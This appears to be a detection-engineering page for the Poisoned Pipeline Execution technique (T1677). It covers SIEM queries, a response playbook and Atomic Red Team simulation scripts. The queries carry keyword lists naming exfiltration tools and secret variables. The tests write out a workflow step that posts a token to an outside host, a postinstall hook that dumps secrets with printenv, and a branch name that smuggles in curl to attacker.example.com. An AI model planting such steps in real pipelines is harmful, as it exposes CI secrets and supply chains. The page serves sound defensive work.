Poisoned Pipeline Execution
This detection identifies adversaries attempting to poison CI/CD pipelines through direct modification of CI configuration files, injection of malicious code into pipeline-referenced build artifacts, or exploitation of fork-based pull request workflows that expose pipeline secrets. Detections span three attack vectors: (1) Direct pipeline execution — changes to CI config files (e.g., .github/workflows, .gitlab-ci.yml, Jenkinsfile) containing suspicious commands such as credential exfiltration via curl/wget, base64-encoded payloads, or environment variable dumping; (2) Indirect pipeline execution — modifications to Makefiles, linters, test suites, or build scripts that are invoked by trusted CI configurations; (3) Public pipeline execution — fork-based pull requests targeting pull_request_target workflows or injecting malicious branch names that are processed as trusted inputs by pipeline steps. Detection coverage includes Azure DevOps audit logs, GitHub audit log events, and process telemetry from CI runner hosts.
What is T1677 Poisoned Pipeline Execution?
Poisoned Pipeline Execution (T1677) maps to the Execution tactic — the adversary is trying to run malicious code in MITRE ATT&CK.
This page provides production-ready detection logic for Poisoned Pipeline Execution, covering the data sources and telemetry it touches: Microsoft Sentinel, Azure DevOps Auditing, GitHub Advanced Security. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Execution
- Technique
- T1677 Poisoned Pipeline Execution
- Canonical reference
- https://attack.mitre.org/techniques/T1677/
let CIConfigFiles = dynamic([".github/workflows", ".gitlab-ci.yml", "Jenkinsfile", ".circleci/config", "azure-pipelines.yml", "bitbucket-pipelines.yml", ".travis.yml", "cloudbuild.yaml"]);
let SuspiciousTerms = dynamic(["curl ", "wget ", "base64 -d", "base64 --decode", "printenv", "env |", "| base64", "exfil", "ngrok", "burpcollab", "interactsh", "webhook.site", "requestbin", "pipedream", "SECRET", "TOKEN", "API_KEY", "AWS_", "GITHUB_TOKEN", "CI_JOB_TOKEN"]);
union isfuzzy=true
(
AzureDevOpsAuditing
| where TimeGenerated > ago(24h)
| where OperationName in (
"Git.Push",
"Git.RefUpdateBatch",
"Pipeline.PipelineModified",
"Build.DefinitionModified",
"Build.DefinitionCreated"
)
| extend DataStr = tostring(Data)
| where DataStr has_any (CIConfigFiles) or DataStr has_any (SuspiciousTerms)
| extend
Actor = ActorUPN,
Platform = "AzureDevOps",
OperationType = OperationName,
SourceIP = IpAddress,
ProjectContext = ProjectName
| project TimeGenerated, Actor, Platform, OperationType, SourceIP, ProjectContext, DataStr
),
(
GitHubAuditLog
| where TimeGenerated > ago(24h)
| where Action in (
"workflows.created",
"workflows.updated",
"git.push",
"protected_branch.update_allow_force_pushes",
"repo.create"
)
| extend DataStr = tostring(Data)
| where DataStr has_any (CIConfigFiles) or DataStr has_any (SuspiciousTerms)
| extend
Actor = Actor,
Platform = "GitHub",
OperationType = Action,
SourceIP = coalesce(IPAddress, "Unknown"),
ProjectContext = tostring(Data.repo)
| project TimeGenerated, Actor, Platform, OperationType, SourceIP, ProjectContext, DataStr
)
| extend RiskScore = case(
DataStr has_any ("base64 -d", "base64 --decode", "interactsh", "ngrok", "webhook.site", "burpcollab"), 95,
DataStr has_any ("printenv", "env |", "AWS_SECRET", "GITHUB_TOKEN", "CI_JOB_TOKEN"), 85,
DataStr has_any ("curl ", "wget ", "| base64", "SECRET", "API_KEY"), 70,
50
)
| where RiskScore >= 70
| sort by RiskScore desc, TimeGenerated desc Detects suspicious modifications to CI/CD configuration files in Azure DevOps and GitHub environments. Queries AzureDevOpsAuditing and GitHubAuditLog tables for push or pipeline definition change events that reference known CI configuration file paths combined with suspicious command patterns indicating credential exfiltration (curl/wget with env vars, base64 decoding, exfiltration infrastructure hostnames). Risk-scores results based on observed command patterns to prioritize highest-confidence pipeline poisoning attempts.
Data Sources
Required Tables
False Positives
- Legitimate DevOps engineers updating pipeline definitions to add new build steps or integrations — validate against change management tickets
- Authorized security scanning tools (Snyk, Dependabot, GitHub Advanced Security) modifying workflow files during automated PR creation
- Infrastructure-as-code pipelines that legitimately use curl/wget to download build dependencies or SDKs from trusted artifact registries
- Developers experimenting with pipeline debugging steps that temporarily echo environment context — common during onboarding
- Automated dependency update bots (Renovate, Dependabot) modifying workflow files or build scripts as part of their normal operation
Sigma rule & cross-platform mapping
The detection logic for Poisoned Pipeline Execution (T1677) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azure Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1677
References (4)
- https://attack.mitre.org/techniques/T1677/
- https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution
- https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
- https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Direct CI Config Poisoning - GitHub Actions Credential Exfiltration Simulation
Expected signal: GitHubAuditLog: Action=git.push with repository_file matching .github/workflows path and DataStr containing 'curl' and 'TOKEN'. AzureDevOpsAuditing: OperationName=Git.Push with Data containing workflow file path and suspicious curl command.
- Test 2Indirect Pipeline Poisoning - Malicious npm postinstall Script Injection
Expected signal: DeviceProcessEvents: InitiatingProcessFileName=npm spawning sh/bash with ProcessCommandLine containing 'printenv'. Sysmon Event ID 1: ParentImage=npm, CommandLine matching printenv/grep pattern. linux_secure or auditd: execve syscall for printenv spawned under npm process.
- Test 3Public Pipeline Execution - Fork PR with Malicious Branch Name Injection
Expected signal: GitHubAuditLog: Action=pull_request.opened with pull_request.head.repo.full_name != pull_request.base.repo.full_name (fork indicator). Branch name field containing shell metacharacters triggers IsSuspiciousBranch=true in hunting query.
Response Playbook
Triage
- Step 1: Identify the exact CI configuration file modified — retrieve the diff/commit and enumerate all changed lines in .github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile, or equivalent. Note any newly added shell commands, run steps, or script blocks.
- Step 2: Determine the actor identity — check if the committing user/service account matches the repository's expected contributors. Query AzureDevOpsAuditing or GitHubAuditLog for this actor's recent activity across all repositories in the last 30 days.
- Step 3: Evaluate the attack vector — classify as Direct (actor has write access to repo), Indirect (change was to a file referenced by CI config such as Makefile or test script), or Public (change came from a forked repository pull request). This determines the blast radius.
- Step 4: Identify what the injected code does — map extracted commands against known exfiltration patterns: (a) environment variable dumping (env, printenv, $GITHUB_TOKEN), (b) file exfiltration via curl/wget to external host, (c) encoded payloads (base64 -d piped to sh), (d) reverse shell establishment.
- Step 5: Determine if any CI pipeline runs executed the modified configuration — query pipeline execution history for runs triggered after the commit timestamp. If runs occurred, treat as confirmed execution; if not, treat as attempted injection.
- Step 6: For GitHub pull_request_target cases — check if the workflow trigger explicitly checks out PR code combined with access to organization secrets. This is the highest-risk scenario and should be escalated immediately regardless of whether secrets were actually exposed.
Containment
- Immediately revert the malicious commit(s) — do not simply delete the file, as git history preserves the change; use a revert commit to create an auditable record and notify the repository's security contact.
- Suspend or invalidate all CI/CD secrets and tokens that were potentially accessible during any pipeline runs that executed the poisoned configuration — this includes GITHUB_TOKEN, cloud provider credentials (AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET), artifact registry tokens, and deployment keys.
- For GitHub Actions: rotate the repository's GITHUB_TOKEN by temporarily disabling and re-enabling Actions on the repository, and rotate all repository and organization secrets referenced in the affected workflow files.
- If a self-hosted runner executed the poisoned pipeline, isolate the runner host from the network immediately — treat it as a compromised endpoint and initiate endpoint IR procedures (memory acquisition, network isolation).
- Disable the fork pull request trigger (pull_request_target) on all public repositories until the workflow is reviewed and hardened — replace with pull_request trigger or add explicit permission gates.
- Lock the branch protection rules to require PR review approval from CODEOWNERS before any CI configuration file can be merged — this prevents direct push-based injection.
Evidence Collection
- Capture the full git diff of all modified CI configuration files and any build scripts, Makefiles, or test files altered in the same commit window — preserve as evidence with commit hash, author, timestamp, and GPG signature status.
- Export all pipeline execution logs for runs triggered after the poisoned commit — download full job logs from GitHub Actions, Azure DevOps Pipelines, or GitLab CI before they expire (default retention is typically 90 days).
- Collect network connection logs from the CI runner host during the execution window — correlate outbound connections against the exfiltration infrastructure identified in the injected commands (resolve hostnames, check threat intel).
- If self-hosted runner: acquire a memory dump and disk image of the runner host, collect /var/log/syslog or Windows Event Logs (Security, System, Application) and runner agent logs at /home/<runner>/_diag/ or C:\actions-runner\_diag\.
- Retrieve the full audit trail for the actor account — export 30-day login history, repository access events, secret access events, and any API token creation events from the SCM provider's audit log.
- Document all secrets and environment variables that were in scope for the poisoned pipeline run — list every secret accessible to the workflow by its name (not value) to understand the full credential exposure surface.
Escalation Criteria
- ! Escalate immediately if any pipeline run executed the poisoned configuration and the workflow had access to production deployment credentials, cloud provider IAM keys, or artifact signing certificates.
- ! Escalate if the injected code established an outbound connection to an external host during pipeline execution — treat as confirmed exfiltration and activate the incident response plan for credential compromise.
- ! Escalate if the attack used the pull_request_target vector on a public repository with organization-level secrets — this may indicate a supply chain attack targeting downstream consumers of published artifacts.
- ! Escalate if the actor account shows signs of compromise (logins from anomalous IPs, MFA bypass events, sudden access to previously unaccessed repositories) indicating this is the secondary stage of an account takeover.
- ! Escalate if self-hosted runners are confirmed to have executed the poisoned pipeline — lateral movement to internal networks may have occurred and full IR engagement is required.
- ! Escalate if published artifacts (npm packages, container images, binaries) were built and released during the window of pipeline compromise — a supply chain notification process and artifact recall may be required.
Investigation Guide
Forensic Artifacts
- >
Git commit history for CI configuration files — specifically .github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile, azure-pipelines.yml, .circleci/config.yml - >
CI/CD pipeline execution logs including stdout/stderr for each job step — available in GitHub Actions UI, Azure DevOps Pipelines logs, or GitLab CI job traces - >
Runner agent diagnostic logs — GitHub Actions: /home/runner/_diag/Runner_*.log; Azure DevOps: _diag/Worker_*.log; GitLab: /var/log/gitlab-runner/ - >
Network flow logs from runner hosts — outbound connections to unexpected external IPs or hostnames during pipeline execution windows - >
SCM audit logs showing the timeline of repository permission changes, secret creation/modification, and branch protection rule changes around the incident - >
Artifact registry publish logs — evidence of poisoned build outputs (npm packages, container images, binaries) being published to registries during the compromised pipeline run - >
Cloud provider audit logs (CloudTrail, Azure Activity Log, GCP Audit Log) for API calls made using credentials accessible to the pipeline during the execution window
Tuning Guidance
Start by building an allowlist of legitimate CI service accounts and developer identities authorized to modify CI configuration files in each repository — filter these from the base queries to reduce noise from routine DevOps activity. For the suspicious command terms, exclude known build tool domains (cdn.npmjs.com, pypi.org, maven.apache.org, packages.microsoft.com) from curl/wget detections, as dependency downloads are common in build steps. The pull_request_target hunting query will generate noise on active open source projects — scope it to internal repositories with access to organization-level secrets. For self-hosted runner process hunting, build a baseline of expected child process trees for your specific CI toolchain (e.g., maven spawning java, npm spawning node) and alert only on deviations. Consider increasing severity to critical for any detection involving pull_request_target workflows with explicit PR code checkout combined with organization secret access.
Hunting Queries
Hunts for indirect pipeline poisoning by detecting modifications to build system files (Makefile, package.json, setup.py, build.gradle) that are typically referenced by CI configurations but not the CI config files themselves. These are lower-visibility targets that may bypass controls focused only on workflow files.
AzureDevOpsAuditing
| where TimeGenerated > ago(7d)
| where OperationName in ("Git.Push", "Git.RefUpdateBatch")
| extend DataStr = tostring(Data)
| where DataStr matches regex @"(Makefile|GNUmakefile|\.npmrc|package\.json|setup\.py|requirements\.txt|Gemfile|pom\.xml|build\.gradle|tox\.ini|pytest\.ini|\.eslintrc|\.babelrc)"
| extend Actor = ActorUPN, Project = ProjectName, SourceIP = IpAddress
| summarize ModifiedBuildFiles = make_set(DataStr), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), PushCount = count() by Actor, Project, SourceIP
| where PushCount >= 1
| project FirstSeen, LastSeen, Actor, Project, SourceIP, PushCount, ModifiedBuildFiles
| sort by PushCount desc index=* (sourcetype="github:audit" OR sourcetype="azure:devops:audit")
| eval indirect_file=if(
match(coalesce(repository_file, file, ""),
"(Makefile|GNUmakefile|\.npmrc|package\.json|setup\.py|requirements\.txt|Gemfile|pom\.xml|build\.gradle|tox\.ini|pytest\.ini|\.eslintrc|\.babelrc)"),
1, 0)
| where indirect_file=1
| eval actor=coalesce(actor, user, pusher.name)
| stats count as push_count, values(coalesce(repository_file, file)) as modified_files, earliest(_time) as first_seen, latest(_time) as last_seen by actor, repo, src_ip
| sort - push_count Hunts for public pipeline execution (PPE) attacks from forked repositories. Identifies fork-sourced pull requests where the branch name contains shell metacharacters or injection sequences (e.g., $(), backticks, semicolons, pipe operators) that could be processed as trusted input by pipeline steps. Also surfaces actors creating multiple fork PRs across repositories, a pattern consistent with automated pipeline secret harvesting.
GitHubAuditLog
| where TimeGenerated > ago(14d)
| where Action == "pull_request.opened" or Action == "pull_request_target.opened"
| extend DataStr = tostring(Data)
| extend
PRSource = tostring(parse_json(DataStr).pull_request.head.repo.full_name),
PRTarget = tostring(parse_json(DataStr).pull_request.base.repo.full_name),
PRBranch = tostring(parse_json(DataStr).pull_request.head.ref),
PRAuthor = Actor
| where PRSource != PRTarget // cross-fork PR
| extend IsSuspiciousBranch = PRBranch matches regex @"(\$|`|;|&&|\|\||\.\.|<|>|\x00)"
| summarize
ForkPRCount = count(),
SuspiciousBranches = countif(IsSuspiciousBranch == true),
PRBranches = make_set(PRBranch),
TargetRepos = make_set(PRTarget)
by PRAuthor
| where ForkPRCount >= 1
| sort by SuspiciousBranches desc, ForkPRCount desc index=* sourcetype="github:audit" action="pull_request.opened"
| eval pr_head_repo=spath(_raw, "pull_request.head.repo.full_name")
| eval pr_base_repo=spath(_raw, "pull_request.base.repo.full_name")
| eval pr_branch=spath(_raw, "pull_request.head.ref")
| where pr_head_repo != pr_base_repo
| eval suspicious_branch=if(match(pr_branch, "(\$|`|;|&&|\|\||\.\.|<|>)"), 1, 0)
| stats count as fork_pr_count, sum(suspicious_branch) as suspicious_branch_count, values(pr_branch) as branches, values(pr_base_repo) as target_repos by actor
| where fork_pr_count >= 1
| sort - suspicious_branch_count, - fork_pr_count Hunts for suspicious process execution originating from known CI runner agent processes on self-hosted runner hosts. Identifies runner-spawned processes executing environment enumeration, credential access, or network exfiltration commands. Particularly valuable for detecting compromised self-hosted runners that may have executed poisoned pipeline steps and attempted lateral movement into the internal network.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("runner", "runner.Worker", "gitlab-runner", "buildkite-agent", "jenkins.war", "agent", "circleci-agent")
or InitiatingProcessCommandLine has_any ("actions/runner", "gitlab-runner", "buildkite")
| where FileName in~ ("curl", "wget", "nc", "ncat", "python", "python3", "ruby", "perl", "bash", "sh", "powershell.exe", "cmd.exe")
| where ProcessCommandLine has_any (
"printenv", "env ", "/proc/", "base64 -d", "base64 --decode",
"| bash", "| sh", "wget http", "curl http",
"GITHUB_TOKEN", "CI_JOB_TOKEN", "AWS_SECRET", "AZURE_CLIENT"
)
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| sort by TimeGenerated desc Atomic Red Team Tests
Simulates a direct pipeline execution attack by appending a malicious step to a GitHub Actions workflow that would exfiltrate the GITHUB_TOKEN to an attacker-controlled server. This test modifies a workflow file in a test repository to validate that detection rules alert on the change. WARNING: Only execute against a dedicated test repository with no production secrets.
Command
# Prerequisites: git configured, access to a test repository
TEST_REPO_PATH="/tmp/test-pipeline-poison-$$"
WORKFLOW_FILE=".github/workflows/ci.yml"
git clone https://github.com/YOUR_ORG/YOUR_TEST_REPO "$TEST_REPO_PATH"
cd "$TEST_REPO_PATH"
mkdir -p .github/workflows
cat >> "$WORKFLOW_FILE" << 'EOF'
poison-test:
runs-on: ubuntu-latest
steps:
- name: atomic-test-exfil-simulation
run: |
# ATOMIC TEST: credential exfiltration simulation
echo "T1677_ATOMIC_TEST" > /tmp/poison_marker.txt
curl -s -X POST https://httpbin.org/post \
-d "token=SIMULATED_TOKEN_VALUE" \
-H "Content-Type: application/x-www-form-urlencoded" || true
EOF
git add "$WORKFLOW_FILE"
git commit -m "atomic-test: T1677 pipeline poison simulation"
git push origin HEAD:atomic-test-branch Cleanup
cd /tmp/test-pipeline-poison-* 2>/dev/null && git push origin --delete atomic-test-branch 2>/dev/null; rm -rf /tmp/test-pipeline-poison-* Expected Telemetry
GitHubAuditLog: Action=git.push with repository_file matching .github/workflows path and DataStr containing 'curl' and 'TOKEN'. AzureDevOpsAuditing: OperationName=Git.Push with Data containing workflow file path and suspicious curl command.
Expected Detection
Alert: CI/CD Pipeline Configuration Modification with Suspicious Commands — RiskScore 70+. Actor matches pushing user, Platform=GitHub, OperationType=git.push.
Simulates indirect pipeline execution by injecting a malicious postinstall script into package.json that would execute during npm install in any CI pipeline that runs npm. This represents the dependency confusion / indirect execution vector where the CI config itself is clean but a referenced build file is compromised.
Command
# Simulates what an attacker would inject into a compromised package.json
TEST_DIR="/tmp/t1677-npm-poison-$$"
mkdir -p "$TEST_DIR" && cd "$TEST_DIR"
cat > package.json << 'EOF'
{
"name": "t1677-atomic-test",
"version": "1.0.0",
"scripts": {
"postinstall": "echo T1677_ATOMIC_INDIRECT && printenv | grep -i 'token\\|secret\\|key\\|password' > /tmp/t1677_exfil_sim.txt && cat /tmp/t1677_exfil_sim.txt"
}
}
EOF
echo "[ATOMIC TEST] Simulating npm install with poisoned postinstall script:"
npm install --ignore-scripts 2>/dev/null; echo "(--ignore-scripts flag used for safety)"
echo "[ATOMIC TEST] Demonstrating what poisoned postinstall would capture:"
env | grep -i -E '(token|secret|key|password|api)' | sed 's/=.*/=REDACTED_FOR_SAFETY/' || echo "No secrets found in env (expected in isolated test)" Cleanup
rm -rf /tmp/t1677-npm-poison-* /tmp/t1677_exfil_sim.txt Expected Telemetry
DeviceProcessEvents: InitiatingProcessFileName=npm spawning sh/bash with ProcessCommandLine containing 'printenv'. Sysmon Event ID 1: ParentImage=npm, CommandLine matching printenv/grep pattern. linux_secure or auditd: execve syscall for printenv spawned under npm process.
Expected Detection
Hunter query for indirect pipeline poisoning should surface package.json modification. Self-hosted runner process hunting query should fire on runner spawning npm which spawns shell executing printenv.
Simulates the branch name injection vector of public pipeline execution attacks where an attacker crafts a pull request from a fork with a branch name containing shell metacharacters or command injection sequences that may be processed as trusted input by vulnerable CI pipeline steps.
Command
# Simulates creating a fork PR with an injected branch name
# This tests the detection of suspicious branch names in fork PRs
# Prerequisites: gh CLI authenticated, test repository with pull_request_target workflow
TEST_BRANCH_SAFE="atomic-test-injection-sim-$(date +%s)"
INJECTED_NAME='atomic-test-$(curl${IFS}attacker.example.com)'
echo "[ATOMIC TEST T1677] Demonstrating branch name injection patterns:"
echo "Safe simulation branch name: $TEST_BRANCH_SAFE"
echo "Injected branch name pattern (not actually created): $INJECTED_NAME"
# Create a legitimate test branch to generate audit telemetry
TEST_REPO="/tmp/t1677-fork-test-$$"
git init "$TEST_REPO" && cd "$TEST_REPO"
git checkout -b "$TEST_BRANCH_SAFE"
touch ATOMIC_TEST_T1677.txt
git add . && git config user.email '[email protected]' && git config user.name 'Atomic Test'
git commit -m 'atomic-test: T1677 fork PR branch name injection simulation'
echo "[ATOMIC TEST] Branch '$TEST_BRANCH_SAFE' created for telemetry generation"
echo "[ATOMIC TEST] Vulnerable pattern would use: $INJECTED_NAME"
echo "[ATOMIC TEST] Pipeline steps referencing \${{ github.event.pull_request.head.ref }} unsanitized are vulnerable" Cleanup
rm -rf /tmp/t1677-fork-test-* Expected Telemetry
GitHubAuditLog: Action=pull_request.opened with pull_request.head.repo.full_name != pull_request.base.repo.full_name (fork indicator). Branch name field containing shell metacharacters triggers IsSuspiciousBranch=true in hunting query.
Expected Detection
Fork PR hunting query should surface the actor with suspicious_branch_count >= 1. Direct detection query may not fire on branch creation alone but will fire if the poisoned branch name propagates into CI config execution steps.